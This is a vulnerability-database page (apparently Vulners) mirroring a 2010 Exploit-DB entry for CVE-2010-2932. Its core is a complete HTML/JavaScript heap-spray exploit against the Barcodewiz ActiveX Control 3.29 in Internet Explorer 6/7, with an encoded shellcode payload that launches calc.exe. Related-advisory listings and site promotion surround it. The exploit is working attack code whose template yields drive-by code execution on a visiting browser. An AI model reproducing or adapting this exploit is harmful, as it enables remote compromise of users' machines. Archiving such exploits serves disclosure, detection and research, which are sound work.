Lucene search
+L

Barcodewiz Barcode ActiveX Control 3.29 - Remote HeapSpray (Internet Explorer 6/7)

🗓️ 31 Jul 2010 00:00:00Reported by Dr_IDEType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 27 Views

Barcodewiz 3.29 ActiveX Heap Spray Exploit on Windows XP SP3 and IE6/7, executing win32_exec - calc.exe payloa

Related
Code
ReporterTitlePublishedViews
Family
circl
Circl
CVE-2010-2932
30 Jul 201000:00
circl
cve
CVE
CVE-2010-2932
4 Aug 201019:00
cve
cvelist
Cvelist
CVE-2010-2932
4 Aug 201019:00
cvelist
exploitdb
Exploit DB
Barcodewiz BarCode ActiveX 3.29 - Denial of Service (PoC)
30 Jul 201000:00
exploitdb
exploitdb
Exploit DB
Barcodewiz Barcode ActiveX Control 3.29 - Remote Buffer Overflow (SEH)
30 Jul 201000:00
exploitdb
nvd
NVD
CVE-2010-2932
5 Aug 201013:23
nvd
openvas
OpenVAS
BarCodeWiz 'BarcodeWiz.dll' ActiveX Control BOF Vulnerability
6 Aug 201000:00
openvas
openvas
OpenVAS
BarCodeWiz 'BarcodeWiz.dll' ActiveX Control BOF Vulnerability
6 Aug 201000:00
openvas
prion
Prion
Buffer overflow
5 Aug 201013:23
prion
saint
Saint
BarCodeWiz ActiveX LoadProperties Buffer Overflow
23 May 201100:00
saint
Rows per page
<!--
Title:		Barcodewiz 3.29 ActiveX Heap Spray Exploit
Coded By:	Dr_IDE
Found By:	loneferret
Tested:		Windows XP SP3 on IE6 + IE7
Date:		July, 30 2010
-->
<html>
<object classid='clsid:CD3B09F1-26FB-41CD-B3F2-E178DFD3BCC6' id='target'></object>
<script language='javascript'>

// Payload is win32_exec -  calc.exe

shellcode = unescape('%uc931%ue983%ud9de%ud9ee%u2474%u5bf4%u7381%u3d13%u5e46%u8395'+
                    '%ufceb%uf4e2%uaec1%u951a%u463d%ud0d5%ucd01%u9022%u4745%u1eb1'+
                    '%u5e72%ucad5%u471d%udcb5%u72b6%u94d5%u77d3%u0c9e%uc291%ue19e'+
                    '%u873a%u9894%u843c%u61b5%u1206%u917a%ua348%ucad5%u4719%uf3b5'+
                    '%u4ab6%u1e15%u5a62%u7e5f%u5ab6%u94d5%ucfd6%ub102%u8539%u556f'+
                    '%ucd59%ua51e%u86b8%u9926%u06b6%u1e52%u5a4d%u1ef3%u4e55%u9cb5'+
                    '%uc6b6%u95ee%u463d%ufdd5%u1901%u636f%u105d%u6dd7%u86be%uc525'+
                    '%u3855%u7786%u2e4e%u6bc6%u48b7%u6a09%u25da%uf93f%u465e%u955e');

nops=unescape('%u9090%u9090');
headersize = 69;  //size adjusted for IE6/IE7 "universality"
slackspace= headersize + shellcode.length;
while(nops.length<slackspace) nops+=nops;
fillblock=nops.substring(0,slackspace);
block=nops.substring(0,nops.length-slackspace);
while(block.length+slackspace<0x40000) block=block+block+fillblock;
memory=new Array();
for( counter=0; counter<250; counter++) memory[counter]= block + shellcode;
ret='';
for( counter=0; counter<=1000; counter++) ret+=unescape("%0a%0a%0a%0a");

target.LoadProperties(ret);
</script>
</html>

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

27 Oct 2016 00:00Current
5.2Medium risk
Vulners AI Score5.2
CVSS 29.3
EPSS0.06896
27